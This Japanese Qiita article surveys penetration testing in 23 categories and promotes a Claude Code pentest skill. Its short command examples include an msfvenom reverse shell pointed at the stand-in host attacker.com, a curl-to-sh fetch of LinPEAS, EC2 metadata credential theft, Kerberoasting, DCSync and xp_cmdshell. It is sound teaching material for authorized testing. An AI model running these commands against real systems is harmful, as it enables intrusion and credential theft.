10
18

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

Claude Codeスキルで自動化するペネトレーションテスト完全ガイド — 23カテゴリの実践手法

10
Posted at

ペネトレーションテスト(以下ペンテスト)は、実際の攻撃者と同じ手法でシステムの脆弱性を検証するセキュリティテストです。本記事では、PTES(Penetration Testing Execution Standard)のフェーズ順に沿った23カテゴリの体系で、Webアプリケーション診断から企業インフラまでを網羅的に解説します。

本記事の内容は、Claude Code 用ペンテスト実行スキル pentest-executor のナレッジベース(23カテゴリ・24,000行超)をもとに構成しています。各カテゴリの詳細なコマンドリファレンスやツールオプションは、以下のリポジトリで公開しています。

# Claude Code へのインストール
claude install-skill https://github.com/nogataka/pentest-executor

本記事の内容は、正当な認可を得たセキュリティテスト・CTF・教育目的でのみ使用してください。認可のないシステムへの攻撃は法律で禁止されています。

全体像 — ペンテストの流れ

ペンテストは大きく「計画→偵察→分析→攻撃→後処理→報告」の流れで進みます。各フェーズの出力が次のフェーズの入力となり、段階的にターゲットの全容を明らかにしていきます。

本記事ではこの流れに沿い、以下の23カテゴリを順に解説します。

フェーズ # カテゴリ 概要
計画 01 Methodology 方法論・フレームワーク選定
偵察 02 Reconnaissance OSINT・サブドメイン列挙・DNS調査
分析 03 Scanning ネットワーク/ポートスキャン
分析 04 Vulnerability Scanning 脆弱性スキャナ・Webスキャナ
攻撃 05 Web Application Testing SQLi・XSS・ディレクトリ探索
攻撃 06 API Testing REST/GraphQL/gRPC・JWT攻撃
攻撃 07 Password Attacks クラック・ブルートフォース
攻撃 08 Exploitation Metasploit・ペイロード生成
後処理 09 Privilege Escalation Linux/Windows権限昇格
後処理 10 Active Directory AD攻撃・Kerberos・横展開
後処理 11 Post-Exploitation 永続化・データ収集・痕跡消去
専門 12 Wireless Attacks Wi-Fi攻撃・WPA/WPA2
専門 13 Network Attacks MITM・スニッフィング
専門 14 Social Engineering フィッシング・SE
専門 15 Cloud Pentesting AWS/Azure/GCP
専門 16 Mobile App Testing Android/iOS診断
専門 17 Container & Kubernetes コンテナエスケープ・K8s攻撃
専門 18 Binary Exploitation リバースエンジニアリング・BOF
横断 19 OWASP Top 10 OWASP Top 10 (2021)
報告 20 Reporting レポート構成・リスク評価
企業インフラ 21 Email Security SPF/DKIM/DMARC・Exchange
企業インフラ 22 Database Attacks MSSQL/Oracle/PostgreSQL/MySQL
企業インフラ 23 VPN / Remote Access SSL VPN/IPSec/RDP/SSH

01. Methodology — 方法論

ペンテストを始める前に、適切な方法論を選択する必要があります。方法論はテストの範囲・深さ・報告形式を規定し、テスト全体の品質を左右します。

主要フレームワーク

フレームワーク 特徴 適用場面
PTES 7フェーズの実践的ガイド。企業ペンテストで最も広く採用されています 一般的なペンテスト全般
OWASP Testing Guide Webアプリに特化した体系的テストケース Webアプリケーション診断
NIST SP800-115 米国政府系の技術的テストガイドライン コンプライアンス要件のあるテスト
MITRE ATT&CK 実際の攻撃手法をTTP(Tactics, Techniques, Procedures)で分類 レッドチーム演習、検知能力評価

事前交渉(Pre-engagement)

テスト実施前に以下を明確にします。

  • スコープ定義: テスト対象のIP/ドメイン/アプリケーションの特定
  • Rules of Engagement: 禁止行為・テスト時間帯・エスカレーション手順
  • テスト種別: Black Box(情報なし)/ Gray Box(一部情報あり)/ White Box(全情報提供)
  • 認可の取得: 書面による明示的な許可。これがなければテストは開始できません

ペンテストの成否は事前準備で決まると言っても過言ではありません。スコープの曖昧さは法的リスクに直結するため、書面での合意を必ず取得してください。


02. Reconnaissance — 偵察

ターゲットに関する情報を収集する最初のフェーズです。ここで得られる情報の質が、後続フェーズの成否を大きく左右します。

パッシブ偵察とアクティブ偵察

区分 説明 検出リスク
パッシブ 公開情報のみ利用。ターゲットに直接アクセスしません なし
アクティブ ターゲットに直接アクセスします あり

パッシブ偵察はWHOIS検索・検索エンジン・証明書透過性ログなどを利用します。アクティブ偵察はポートスキャンやDNSブルートフォースなど、ターゲットに直接通信を発生させる手法です。

主要ツール

ツール 用途
theHarvester メール・サブドメイン・IPの自動収集
Amass OWASP公式のサブドメイン列挙ツール
Recon-ng モジュラー型OSINTフレームワーク
Shodan / Censys インターネット接続デバイスの検索エンジン
DNSRecon DNS列挙・ゾーン転送テスト

基本的なコマンド例

# theHarvester でドメイン情報を収集
theHarvester -d target.com -b google,bing,dnsdumpster

# Amass でサブドメインを列挙
amass enum -d target.com -o subdomains.txt

# DNSRecon でゾーン転送を試行
dnsrecon -d target.com -t axfr

偵察フェーズで発見したサブドメインやIPアドレスが、攻撃フェーズでのターゲットとなります。見落としがあると脆弱なサービスを発見できないため、複数のツールを組み合わせて網羅的に調査することが重要です。


03. Scanning — スキャニング

偵察で発見したホストに対して、開放ポート・稼働サービス・OSを特定するフェーズです。

主要ツール

ツール 用途
Nmap 最も広く使われるポートスキャナ。サービス検出・OS判定・NSEスクリプトに対応
Masscan 超高速ポートスキャン。大規模ネットワーク向け
Netdiscover ARPベースのLAN内ホスト検出

Nmap の代表的なスキャン手法

# TCP SYN スキャン(ステルススキャン)
nmap -sS -p- -T4 target.com

# サービスバージョン検出 + OS判定
nmap -sV -O target.com

# 特定ポートに対するNSEスクリプト実行
nmap --script=vuln -p 80,443 target.com

# UDP スキャン(主要ポートのみ)
nmap -sU --top-ports 100 target.com

Nmap のオプションは膨大ですが、-sS(SYNスキャン)、-sV(バージョン検出)、-O(OS判定)の3つが基本となります。大規模ネットワークでは Masscan で全ポートを高速スキャンし、発見したポートに対して Nmap で詳細調査を行うのが効率的です。


04. Vulnerability Scanning — 脆弱性スキャニング

発見したサービスに対して、既知の脆弱性(CVE)を自動検出するフェーズです。

主要ツール

ツール 用途 ライセンス
Nessus 総合脆弱性スキャナ 商用(Essentials版は無料)
OpenVAS (GVM) オープンソース脆弱性スキャナ GPL
Nikto Webサーバ特化の脆弱性スキャナ GPL

認証スキャンと非認証スキャン

方式 精度 用途
非認証(Unauthenticated) 低〜中 外部攻撃者の視点での評価
認証(Authenticated) SSH/SMB認証情報を使い、内部からパッチ状態を確認

非認証スキャンは外部攻撃者の視点に近いですが、誤検知(False Positive)が多い傾向があります。認証スキャンはパッチの適用状態まで正確に把握できるため、Gray Box・White Box テストでは認証スキャンを推奨します。

# Nikto でWebサーバをスキャン
nikto -h https://target.com

# Nmap の脆弱性スクリプトを実行
nmap --script=vuln -p 80,443,8080 target.com

脆弱性スキャナの結果には誤検知が含まれます。スキャン結果を鵜呑みにせず、手動で検証して実際にエクスプロイト可能かを確認することが重要です。


05. Web Application Testing — Webアプリケーション診断

Webアプリケーションに対する体系的なセキュリティテストです。OWASP Testing Guide v4 に準拠し、インジェクション・認証・認可・セッション管理などを包括的に検証します。

主要ツール

ツール 用途
Burp Suite 業界標準のWebプロキシ。インターセプト・スキャン・Intruder
OWASP ZAP オープンソースのWebアプリスキャナ
SQLMap SQL Injectionの自動検出・エクスプロイト
Gobuster ディレクトリ・ファイルの高速列挙

主な診断項目

  1. インジェクション: SQLi、XSS、コマンドインジェクション、XXE
  2. 認証・セッション管理: ブルートフォース耐性、セッショントークンの強度、ログアウト処理
  3. 認可制御: IDOR(Insecure Direct Object Reference)、水平/垂直権限昇格
  4. ビジネスロジック: 価格操作、ステップスキップ、レースコンディション
  5. 情報漏洩: エラーメッセージ、ディレクトリリスティング、デバッグ情報
# SQLMap で GET パラメータをテスト
sqlmap -u "https://target.com/page?id=1" --batch --dbs

# Gobuster でディレクトリを列挙
gobuster dir -u https://target.com -w /usr/share/wordlists/dirb/common.txt

# Burp Suite はGUIベースのため、コマンド例は省略

Webアプリ診断ではツールによる自動スキャンだけでなく、ビジネスロジックの欠陥など自動検出が困難な脆弱性を手動で検証する必要があります。Burp Suite のインターセプト機能でリクエストを改ざんしながら、パラメータ操作やアクセス制御のバイパスを試行します。


06. API Testing — APIセキュリティテスト

REST、GraphQL、gRPC、WebSocket といったAPIの固有の攻撃面を検証します。OWASP API Security Top 10 に準拠した診断を行います。

OWASP API Security Top 10 の主要項目

# リスク 概要
API1 Broken Object Level Authorization 他ユーザーのリソースに直接アクセス
API2 Broken Authentication 認証メカニズムの欠陥
API3 Broken Object Property Level Authorization オブジェクトのプロパティへの不正アクセス
API5 Broken Function Level Authorization 管理者機能への不正アクセス

主な診断手法

  • API仕様の発見: /swagger.json/openapi.yaml、GraphQL introspection クエリ
  • BOLA/IDOR テスト: IDパラメータを変更して他ユーザーのデータにアクセス可能か確認
  • JWT攻撃: alg: none、鍵の弱さ、トークン改ざん
  • Mass Assignment: 想定外のフィールド(role, isAdmin)をリクエストに追加
  • レートリミット: API呼び出しの制限が適切に設定されているか確認
# GraphQL introspection クエリ
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{__schema{types{name fields{name}}}}"}'

# JWT の改ざん(jwt_tool を使用)
python3 jwt_tool.py <token> -T

APIのセキュリティテストでは、Webアプリと異なりUIが存在しないため、リクエスト/レスポンスの構造を正確に理解することが前提となります。Swagger/OpenAPI の仕様書が公開されている場合は、最初にそれを入手して全エンドポイントを把握してください。


07. Password Attacks — パスワード攻撃

認証情報の取得を目的とした攻撃手法です。オンライン攻撃(サービスに対する直接試行)とオフライン攻撃(取得済みハッシュの解析)に大別されます。

主要ツール

ツール 用途
Hydra SSH、FTP、HTTP、RDP など50以上のプロトコルに対応したオンラインブルートフォース
John the Ripper マルチフォーマット対応のオフラインハッシュクラッキング
Hashcat GPU 高速ハッシュクラッキング
CrackMapExec (NetExec) Windows/AD 環境でのパスワードスプレー

攻撃手法

手法 説明 注意点
ブルートフォース 全パターンを総当たり 時間がかかります。アカウントロックに注意
辞書攻撃 ワードリストを使用 rockyou.txt が定番です
パスワードスプレー 1つのパスワードを多数アカウントに試行 ロックアウト回避に有効です
ルールベースクラック 辞書にルールを適用して変形 Password1! のような変形パターンに有効です
# Hydra で SSH ブルートフォース
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target.com

# Hashcat で NTLM ハッシュをクラック
hashcat -m 1000 hashes.txt rockyou.txt -r rules/best64.rule

# CrackMapExec でパスワードスプレー
crackmapexec smb target.com -u users.txt -p 'Spring2026!'

08. Exploitation — エクスプロイト

発見した脆弱性を実際に悪用し、システムへの初期アクセスを獲得するフェーズです。

主要ツール

ツール 用途
Metasploit Framework 2,000以上のエクスプロイトモジュールを持つ統合フレームワーク
searchsploit ExploitDB のローカル検索ツール
msfvenom ペイロード生成ツール(Metasploit 付属)

Metasploit の基本ワークフロー

# 1. エクスプロイトの検索
msfconsole
msf6> search type:exploit name:apache

# 2. エクスプロイトの選択と設定
msf6> use exploit/multi/http/apache_mod_cgi_bash_env_exec
msf6> set RHOSTS target.com
msf6> set LHOST attacker.com

# 3. ペイロードの選択
msf6> set PAYLOAD linux/x64/meterpreter/reverse_tcp

# 4. 実行
msf6> exploit
# msfvenom でリバースシェルペイロードを生成
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=attacker.com LPORT=4444 -f exe -o shell.exe

エクスプロイトの成功には、ターゲットの正確なバージョン情報と適切なペイロード選択が不可欠です。Metasploit の check コマンドで事前にエクスプロイト可能か確認できる場合もあります。

エクスプロイトはシステムに影響を与える可能性がある操作です。本番環境に対しては、クライアントと事前に合意した範囲内でのみ実行してください。


09. Privilege Escalation — 権限昇格

初期アクセスで得た低権限アカウントから、root や SYSTEM などの高権限を取得するフェーズです。

Linux での権限昇格

手法 概要
SUID/SGID バイナリ 特権で実行されるバイナリを悪用します
sudo 設定の不備 sudo -l で許可されたコマンドを確認し悪用します
カーネルエクスプロイト カーネルの脆弱性を突きます
Cron ジョブ 特権で実行されるスクリプトを改ざんします
ケーパビリティ cap_setuid 等の危険なケーパビリティを悪用します
# LinPEAS で列挙
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

# SUID バイナリの検索
find / -perm -4000 -type f 2>/dev/null

# GTFOBins で悪用方法を確認
# https://gtfobins.github.io/

Windows での権限昇格

手法 概要
サービスの設定不備 書き込み可能なサービスバイナリを置換します
AlwaysInstallElevated MSI パッケージを特権でインストールします
トークン偽装 SeImpersonatePrivilege を持つアカウントから昇格します
DLL ハイジャック DLL 検索パスを悪用します
# WinPEAS で列挙
.\winPEASx64.exe

# サービスのパーミッション確認
accesschk.exe -uwcqv "Everyone" * /accepteula

権限昇格は LinPEAS / WinPEAS などの自動列挙ツールで候補を洗い出し、GTFOBins(Linux)や LOLBAS(Windows)で具体的な悪用方法を確認するのが定石です。


10. Active Directory — Active Directory 攻撃

企業ネットワークの中枢である Active Directory(AD)に対する攻撃手法です。初期アクセスからドメイン管理者権限の取得(Domain Dominance)までの攻撃チェーンを扱います。

主要ツール

ツール 用途
BloodHound AD内の権限関係を可視化し、攻撃パスを発見します
Mimikatz メモリからの認証情報抽出・DCSync
Impacket Python製のAD攻撃ツールキット
Rubeus C#製のKerberos攻撃フレームワーク
CrackMapExec 多目的AD後処理ツール

主要な攻撃手法

Kerberos 攻撃

手法 概要
Kerberoasting SPN が設定されたアカウントのサービスチケットをオフラインクラックします
AS-REP Roasting Kerberos事前認証が無効なアカウントのハッシュを取得します
Golden Ticket krbtgt ハッシュからTGTを偽造し、ドメイン全体を掌握します
Silver Ticket サービスアカウントのハッシュからSTを偽造します
Diamond Ticket 正規TGTのPACを改ざんする検出回避手法です

横展開

手法 概要
Pass-the-Hash NTLMハッシュで認証します
Pass-the-Ticket Kerberosチケットで認証します
DCSync ドメインコントローラからハッシュを複製します

委任攻撃

手法 概要
Unconstrained Delegation TGTがキャッシュされるサーバを悪用します
Constrained Delegation S4U2Self/S4U2Proxy を悪用して任意のサービスにアクセスします
RBCD Resource-Based Constrained Delegation。msDS-AllowedToActOnBehalfOfOtherIdentity を書き換えます

AD CS(Active Directory Certificate Services)攻撃

ESC1〜ESC8 と呼ばれる証明書サービスの脆弱性を利用し、ドメイン管理者への権限昇格を狙います。Certipy が主要な攻撃ツールです。

# BloodHound 用データ収集
bloodhound-python -d domain.local -u user -p pass -c all

# Kerberoasting
impacket-GetUserSPNs domain.local/user:pass -request -outputfile kerberoast.txt

# DCSync
impacket-secretsdump domain.local/admin:pass@dc01.domain.local

AD攻撃では BloodHound で攻撃パスを可視化することが極めて重要です。手動での列挙では見落としやすい多段の権限関係を、グラフデータベースで網羅的に分析できます。


11. Post-Exploitation — ポストエクスプロイテーション

初期アクセスと権限昇格の後、永続化・データ収集・痕跡消去を行うフェーズです。

主な活動

活動 概要 代表ツール
永続化 再起動後もアクセスを維持します Scheduled Tasks, Registry, WMI Event
C2通信 コマンド&コントロール dnscat2, Chisel, Cobalt Strike
データ収集 機密情報を収集します Mimikatz, LaZagne
Exfiltration データを持ち出します DNS tunneling, HTTPS
痕跡消去 ログを改ざん・削除します イベントログクリア
防御回避 EDR/AMSI をバイパスします AMSI bypass, ETW patching

ペンテストにおけるポストエクスプロイテーションは、実際のデータ持ち出しや永続化を行うのではなく、「それが可能であること」を証明することが目的です。ただし、報告のためのエビデンスは確実に取得する必要があります。


12. Wireless Attacks — 無線攻撃

Wi-Fi ネットワークのセキュリティ評価を行います。WPA/WPA2 の認証メカニズムに対する攻撃が中心です。

主要ツール

ツール 用途
aircrack-ng ハンドシェイクキャプチャとクラッキング
Hcxdumptool PMKID キャプチャ
bettercap Evil Twin・MITM

攻撃手法

手法 対象 概要
4-way ハンドシェイクキャプチャ WPA/WPA2 Deauth でクライアントを切断し、再接続時のハンドシェイクを取得します
PMKID 攻撃 WPA2 PSK クライアントの接続なしでハッシュを取得できます
WPS Pixie Dust WPS有効AP WPS PINをオフラインで解析します
Evil Twin 全般 偽APを立ててクライアントを接続させます
# モニターモードに切り替え
airmon-ng start wlan0

# ハンドシェイクのキャプチャ
airodump-ng -c <channel> --bssid <BSSID> -w capture wlan0mon

# オフラインクラック
aircrack-ng -w rockyou.txt capture-01.cap

13. Network Attacks — ネットワーク攻撃

ネットワーク層での中間者攻撃(MITM)やスニッフィングによる認証情報の傍受を行います。

主要ツール

ツール 用途
Wireshark GUI パケットアナライザ
Responder LLMNR/NBT-NS/mDNS ポイズニング
Bettercap ARP スプーフィング・MITM
tcpdump CLI パケットキャプチャ

主な攻撃手法

  • ARP スプーフィング: ゲートウェイとターゲット間のトラフィックを傍受します
  • LLMNR/NBT-NS ポイズニング: Windows のローカル名前解決プロトコルを悪用し、NTLMハッシュを取得します
  • DNS スプーフィング: DNSレスポンスを偽造してフィッシングサイトに誘導します
# Responder で LLMNR/NBT-NS ポイズニング
responder -I eth0 -dwP

# Bettercap で ARP スプーフィング
bettercap -iface eth0 -eval "net.probe on; arp.spoof on; net.sniff on"

Responder による LLMNR ポイズニングは、AD環境で最も成功率の高い初期アクセス手法の一つです。ネットワーク内でリスニングするだけでNTLMハッシュが取得できるため、ペンテストの初手として有効です。


14. Social Engineering — ソーシャルエンジニアリング

技術的な対策では防ぎきれない「人」の脆弱性を検証します。フィッシングメールの送信やプリテキスティング(なりすまし電話)が主な手法です。

主要ツール

ツール 用途
GoPhish フィッシングキャンペーン管理
Evilginx2 リバースプロキシ型フィッシング。MFAバイパスが可能
SET (Social Engineer Toolkit) 多目的SEフレームワーク

攻撃シナリオ

手法 概要
スピアフィッシング 特定の個人を標的としたメールです
ビッシング 電話によるなりすましです
スミッシング SMSによるフィッシングです
プリテキスティング 架空のシナリオでの情報聞き出しです

GoPhish でフィッシングキャンペーンを作成し、メールの開封率・リンクのクリック率・認証情報の入力率を計測します。Evilginx2 はリバースプロキシとして動作し、正規サイトとの間に入ることでMFA(多要素認証)を含む認証情報をリアルタイムで傍受できます。


15. Cloud Pentesting — クラウドペンテスト

AWS、Azure、GCP のクラウド環境に特化した攻撃面を検証します。オンプレミスとは異なるクラウド固有の脅威モデルへの理解が必要です。

主要ツール

ツール 対象 用途
Pacu AWS AWS専用ペンテストフレームワーク
ScoutSuite 全クラウド マルチクラウド設定監査
Prowler AWS/Azure/GCP セキュリティベストプラクティス監査

クラウド固有の攻撃面

攻撃面 概要
IAM 設定不備 過剰な権限付与、ワイルドカードポリシー
公開ストレージ S3バケット、Azure Blob、GCS の公開設定
メタデータAPI EC2 Instance Metadata(169.254.169.254)からの認証情報取得
サーバレス Lambda/Functions の権限昇格
シークレット管理 環境変数やコード内のハードコード認証情報
# S3 バケットの公開チェック
aws s3 ls s3://bucket-name --no-sign-request

# EC2 メタデータからIAMロール認証情報を取得
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# ScoutSuite で AWS 環境を監査
scout aws

16. Mobile App Testing — モバイルアプリ診断

Android / iOS アプリケーションのクライアントサイド・通信・サーバサイドを包括的に検証します。OWASP MASVS(Mobile Application Security Verification Standard)に準拠します。

主要ツール

ツール 用途
Frida ランタイム動的計装。関数フック・暗号化バイパス
objection Frida ラッパー。モバイル診断の自動化
MobSF 静的/動的解析の統合プラットフォーム
APKTool Android APK のデコンパイル・リビルド
jadx DEX → Java のデコンパイラ

主な診断項目

  • ローカルストレージ: SharedPreferences、SQLite、Keychain/Keystore の暗号化状態
  • 証明書ピンニング: バイパス可能かを Frida で検証します
  • API通信: 中間者攻撃による通信内容の傍受と改ざん
  • バイナリ保護: 難読化・改ざん検知・ルート/脱獄検出の有効性
# objection で Android アプリに接続
objection -g com.target.app explore

# 証明書ピンニングをバイパス
objection -g com.target.app explore -s "android sslpinning disable"

# APK のデコンパイル
apktool d target.apk -o output/

17. Container & Kubernetes — コンテナ/K8s セキュリティ

Docker コンテナや Kubernetes クラスタに対するセキュリティ評価を行います。コンテナエスケープやK8sのRBAC不備が主な攻撃面です。

主要ツール

ツール 用途
Trivy コンテナイメージ・K8sの脆弱性スキャン
kube-hunter K8sクラスタの脆弱性スキャン
CDK コンテナ内からの攻撃・エスケープツール
deepce Docker列挙・エスケープ検出

主な攻撃手法

手法 概要
コンテナエスケープ 特権コンテナやマウントされたソケットを悪用してホストに脱出します
API Server の不正アクセス 匿名認証や弱いRBACを利用します
etcd からの機密情報取得 暗号化されていない etcd から Secret を直接読み取ります
Service Account トークン悪用 Pod内のトークンで K8s API に認証します
# Trivy でイメージをスキャン
trivy image target-image:latest

# kube-hunter でクラスタをスキャン
kube-hunter --remote target-cluster

# 特権コンテナからのエスケープ確認
deepce.sh

18. Binary Exploitation — バイナリ解析

コンパイル済みの実行ファイルを解析し、メモリ破壊系の脆弱性(バッファオーバーフロー等)を発見・エクスプロイトします。CTFでも頻出の領域です。

主要ツール

ツール 用途
Ghidra NSA開発のリバースエンジニアリングフレームワーク
GDB + pwndbg 動的デバッグとエクスプロイト開発
pwntools Python製エクスプロイト開発ライブラリ
ROPgadget ROPチェーン用ガジェットの検索

主な攻撃手法

手法 概要
バッファオーバーフロー スタック上のリターンアドレスを上書きします
ROP (Return-Oriented Programming) NX/DEP が有効な環境での制御フロー乗っ取り
フォーマット文字列攻撃 printf 等の書式指定を悪用します
Use-After-Free 解放済みメモリを再利用します

保護機構と回避

保護機構 回避手法
NX/DEP ROP チェーン
ASLR 情報リーク、Partial Overwrite
Stack Canary カナリア値のリーク
RELRO Full RELRO の場合は GOT 上書き不可
# pwntools でのエクスプロイト例
from pwn import *

p = process('./vuln')
payload = b'A' * 64  # padding
payload += p64(0xdeadbeef)  # return address
p.sendline(payload)
p.interactive()

19. OWASP Top 10 — Webアプリの主要リスク

OWASP Top 10 (2021) は、Webアプリケーションにおける最も重大な10のセキュリティリスクを定義しています。ペンテストの診断項目として横断的に参照されます。

# カテゴリ 概要
A01 アクセス制御の不備 認可チェックの欠如、IDOR
A02 暗号化の失敗 弱い暗号、平文通信、鍵の露出
A03 インジェクション SQL、XSS、OS コマンド、LDAP
A04 安全でない設計 ビジネスロジックの欠陥
A05 セキュリティ設定のミス デフォルト設定、不要な機能の有効化
A06 脆弱で古いコンポーネント パッチ未適用のライブラリ
A07 識別と認証の失敗 ブルートフォース耐性、セッション管理
A08 ソフトウェアとデータの整合性の失敗 CI/CDパイプラインの改ざん
A09 セキュリティログと監視の失敗 ログの不足、アラートの欠如
A10 SSRF サーバサイドリクエストフォージェリ

A01(アクセス制御の不備)が2021年版の最上位であり、最も多く報告されている脆弱性カテゴリです。自動ツールでは検出しにくいため、手動テストの重要性が高くなります。


20. Reporting — レポート

ペンテストの最終成果物であるレポートの構成と品質が、テスト全体の価値を決定します。技術者向けの詳細と経営層向けのサマリーの両方を含める必要があります。

レポート構成

セクション 対象読者 内容
エグゼクティブサマリー 経営層 全体評価(A〜Fランク)、主要リスクの概要
テスト概要 全体 対象・期間・手法・使用ツール
発見事項詳細 技術者 脆弱性の再現手順・スクリーンショット・影響範囲
リスクマトリクス 全体 影響度×発生可能性のマッピング
修正提案 技術者 優先度付きの具体的な修正方法
付録 技術者 スキャン生データ・ツールバージョン

発見事項の記録フォーマット

各脆弱性は以下の項目を含めて記録します。

項目 内容
深刻度 Critical / High / Medium / Low / Informational
CVSS スコア 例: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWE 番号 例: CWE-89(SQL Injection)
対象 脆弱なURL/IP/ポート
再現手順 ステップバイステップの手順
影響 ビジネスへの具体的な影響
修正方法 推奨される対策

レポートは「脆弱性の一覧」ではなく「ビジネスリスクの評価」であるべきです。経営層が修正の優先度を判断できるよう、ビジネスインパクトを明確に記述してください。


21. Email Security — メールサーバセキュリティ

企業のメールインフラ(SMTP、Exchange、Microsoft 365)に対するセキュリティ評価を行います。メールは依然としてフィッシングの主要な攻撃ベクタであり、認証設定の不備は直接的なリスクとなります。

SPF / DKIM / DMARC 検証

プロトコル 目的 確認方法
SPF 送信元IPの正当性検証 dig txt target.com で SPF レコードを確認
DKIM メール改ざん検知 dig txt selector._domainkey.target.com
DMARC SPF/DKIMの処理ポリシー dig txt _dmarc.target.com

主な診断項目

  • オープンリレー: 第三者がメールサーバを中継に利用できるか
  • SMTP認証: 平文認証(PLAIN/LOGIN)が許可されていないか
  • Exchange脆弱性: ProxyLogon(CVE-2021-26855)、ProxyShell 等の既知CVE
  • OWA ブルートフォース: Outlook Web Access への認証攻撃
  • M365 パスワードスプレー: Azure AD に対する認証攻撃
# SPF レコードの確認
dig txt target.com | grep spf

# SMTP オープンリレーテスト
nmap --script smtp-open-relay -p 25 mail.target.com

# DMARC ポリシーの確認
dig txt _dmarc.target.com

22. Database Attacks — データベース固有攻撃

SQLインジェクションとは別に、データベースエンジン固有の攻撃面を検証します。デフォルト認証情報の残存やOS連携機能の悪用が主な攻撃ベクタです。

RDBMS 別の主要攻撃

DB 攻撃手法 概要
MSSQL xp_cmdshell OS コマンドを実行します
MSSQL xp_dirtree UNCパスでNTLMハッシュを強制送信します
Oracle ODAT Oracle DB 診断の統合ツールです
PostgreSQL COPY TO/FROM PROGRAM OS コマンドを実行します
MySQL UDF ユーザー定義関数でコマンドを実行します
MySQL LOAD_FILE / INTO OUTFILE ファイルの読み書きを行います

NoSQL

DB 攻撃手法 概要
MongoDB 演算子インジェクション $gt, $ne 等でクエリを改ざんします
Redis SSH鍵の書き込み CONFIG SET dir でファイルを書き込みます
# MSSQL への接続と xp_cmdshell の有効化
impacket-mssqlclient sa:password@target.com
SQL> EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
SQL> EXEC xp_cmdshell 'whoami';

# PostgreSQL でのコマンド実行
COPY (SELECT '') TO PROGRAM 'id';

データベースへの攻撃は、データ破壊のリスクを伴います。本番環境のデータベースに対しては、読み取り系の操作に限定するなど、事前にクライアントと合意した範囲を厳守してください。


23. VPN / Remote Access — VPN・リモートアクセス診断

SSL VPN、IPSec VPN、RDP、SSH といったリモートアクセス基盤のセキュリティを評価します。VPNアプライアンスの既知CVEは深刻度が高く、実際のインシデントにも頻繁に利用されています。

SSL VPN の主要CVE

ベンダー CVE 概要
Fortinet CVE-2018-13379 パストラバーサルによる認証情報漏洩
Pulse Secure CVE-2019-11510 任意ファイル読取
Citrix CVE-2019-19781 リモートコード実行
Palo Alto CVE-2024-3400 GlobalProtect のコマンドインジェクション

主な診断項目

  • SSL/TLS 設定: 弱い暗号スイート、古いプロトコルバージョン
  • IPSec Aggressive Mode: PSK(事前共有鍵)の取得が可能か
  • RDP セキュリティ: NLA の有無、BlueKeep(CVE-2019-0708)
  • SSH 設定: 弱いアルゴリズム、パスワード認証の可否
# SSL/TLS 設定の診断
testssl.sh https://vpn.target.com

# IKE Aggressive Mode のテスト
ike-scan -M -A vpn.target.com

# SSH の暗号アルゴリズム監査
ssh-audit target.com

# RDP の NLA 確認
nmap --script rdp-enum-encryption -p 3389 target.com

まとめ

本記事では、ペネトレーションテストの全23カテゴリを PTES のフェーズ順に解説しました。

ペンテストの品質は、単一のツールや手法ではなく、体系的なアプローチによって決まります。計画段階での正確なスコープ定義から始まり、偵察→分析→攻撃→後処理→報告の各フェーズを漏れなく実施することが重要です。

以下の3点を改めて強調します。

  1. 認可が全ての前提: 書面による明示的な認可なしにテストを実施してはなりません
  2. ツールは手段: 自動ツールの結果を鵜呑みにせず、手動での検証を怠らないでください
  3. レポートが価値: 発見した脆弱性をビジネスインパクトに翻訳し、修正の優先度を示してください

各カテゴリの詳細な手法・コマンドリファレンスについては、以下のリポジトリを参照してください。24,000行超の実務リファレンスを23カテゴリにわたって提供しています。

# Claude Code へのインストール
claude install-skill https://github.com/nogataka/pentest-executor

参考規格・リソース

10
18
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
10
18

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?